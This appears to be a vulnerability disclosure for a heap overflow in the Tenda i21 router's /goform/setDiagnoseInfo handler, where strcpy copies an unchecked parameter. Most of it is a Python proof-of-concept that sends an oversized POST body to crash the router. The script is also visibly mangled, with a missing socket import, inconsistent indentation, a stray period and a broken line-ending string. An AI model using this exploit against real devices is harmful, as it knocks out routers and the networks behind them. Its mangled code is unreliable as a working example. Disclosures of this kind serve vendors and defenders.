

Tenda i21 V1.0.0.14(4656) Heap overflow vulnerability

Firmware information

- Manufacturer's address: https://www.tenda.com.cn/
- Firmware download address:https://www.tenda.com.cn/download/detail-2982.html

Affected version

i≡ 62 lines (41 sloc) | 1.52 KΒ



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History

Vulnerability details

In /goform/setDiagnoseInfo, a value of 0x50 is created, which will use strcpy to give the value after cmd + 5 to the heap. It is worth noting that the size is not checked, resulting in a heap overflow vulnerability

```
import os
 li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
  ip = '192.168.0.1'
  port = 80
  r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  r.connect((ip, port))
  rn = b' r'
  p1 = b'a' * 0x3000
p2 = b'cmd=' + p1
  p3 = b"POST /goform/setDiagnoseInfo" + b" HTTP/1.1" + rn
  p3 += b"Host: 192.168.0.1" + rn
  . p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
  p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
  p3 += b"Connection: close" + rn
  p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
  p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
  p3 += p2
  r.send(p3)
  response = r.recv(4096)
response = response.decode()
  li(response)
You can see the router crash
```